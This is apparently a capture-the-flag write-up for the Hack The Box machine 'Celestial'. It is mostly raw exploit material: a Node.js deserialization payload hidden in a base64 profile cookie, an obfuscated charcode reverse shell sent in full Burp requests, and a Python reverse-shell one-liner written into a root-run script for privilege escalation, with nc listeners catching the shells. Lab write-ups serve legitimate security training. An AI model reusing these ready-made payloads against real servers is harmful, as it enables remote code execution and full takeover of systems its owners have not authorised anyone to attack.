DECODE COOKIE USING BURP (BASE64)

NODE JS SERIALIZATION

PORT STATE SERVICE VERSION

3000/tcp open http Node.js Express framework

|_http-title: Site doesn't have a title (text/html; charset=utf-8)

root@kali:/home/kali/Desktop/hackthebox/celestial# gobuster dir -u http://celestial.htb:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

BURP

GET / HTTP/1.1
Host: celestial.htb:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie:
profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D

Upgrade-Insecure-Requests: 1
If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"

DECODE COOKIE BASE64

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"fQ%3D%3D

NODE JS SERIALIZATION

{"username":"Dummy","rce":"_$$ND_FUNC$$_function (){ require('child_process').exec('ping -c2 10.10.14.27', function() { });}()"}

Encode base64

eyJ1c2VybmFtZSI6IkR1bW15IiwicmNlIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpeyByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncGluZyAtYzIgMTAuMTAuMTQuMjcnLCBmdW5jdGlvbigpIHsgfSk7fSgpIn0K

BURP REQUEST

GET / HTTP/1.1
Host: celestial.htb:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie:
profile=eyJ1c2VybmFtZSI6IkR1bW15IiwicmNlIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpeyByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncGluZyAtYzIgMTAuMTAuMTQuMjcnLCBmdW5jdGlvbigpIHsgfSk7fSgpIn0K

Upgrade-Insecure-Requests: 1
If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"

root@kali:/home/kali/Desktop/hackthebox/celestial# tcpdump -i tun0 icmp

IT WORKS!!!!!!!

https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py

root@kali:/home/kali/Desktop/hackthebox/celestial# python node.py 10.10.14.27 1234

[+] LHOST = 10.10.14.27

[+] LPORT = 1234

[+] Encoding

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,55,34,59,10,80,79,82,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

{"username":"Dummy","rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,55,34,59,10,80,79,82,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

eyJ1c2VybmFtZSI6IkR1bW15IiwicmNlIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Miw0Niw1MCw1NSwzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw0OSw1MCw1MSw1MiwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ==

MTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMT
AsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0M
CwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEs
NTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMi
wzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDE
xNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiw
zMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0
MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw
1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0L
DQxLDU5LDEwKSl9KCkifQo=

BURP REQUEST

GET / HTTP/1.1

Host: celestial.htb:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie:
profile=eyJ1c2VybmFtZSI6IkR1bW15IiwicmNlIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21D
aGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMT
E0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDEx
MCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1
LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OS
w4Myw4NCw2MSwzNCw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Miw0Niw1MCw1NSwzNCw1OSwxMCw4MCw3OSw4Miw
4NCw2MSwzNCw0OSw1MCw1MSw1MiwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OC
w0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMT
QsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwx
MTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSw
xMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMT
YsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTks
MTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyL
DExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzL
DYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLD
MyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE
0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsO
DMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwx
MTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0
NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyL

DMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksND
csOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDM
yLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLD
ExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyL
DMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNi
wxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMT
AwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5L
DEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsM
TEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzI
sMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwx
MTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMj
MsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwM
Cw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMz
QsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwx
MCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQs
MTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxM
CwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MC
w5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NC
w0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDg
yLDg0LDQxLDU5LDEwKSl9KCkifQo=

Upgrade-Insecure-Requests: 1

If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"

root@kali:/home/kali/Desktop/hackthebox/celestial# nc -nlvp 1234

SHELL GAINED!!!!!

cat output.txt

Script is running...

Script is running...

Script is running...

sun@sun:~/Documents$ cat script.py

cat script.py

print "Script is running..."

print "Script is running..."

print "Script is running..."

sun@sun:~/Documents$ cat script.py

sun@sun:~/Documents$ cat script.py

```
print "Script is running..."

import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",4444));os.dup2(s.file
no(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

root@kali:/home/kali/Desktop/tools# nc -nlvp 4444

ROOTED!!!!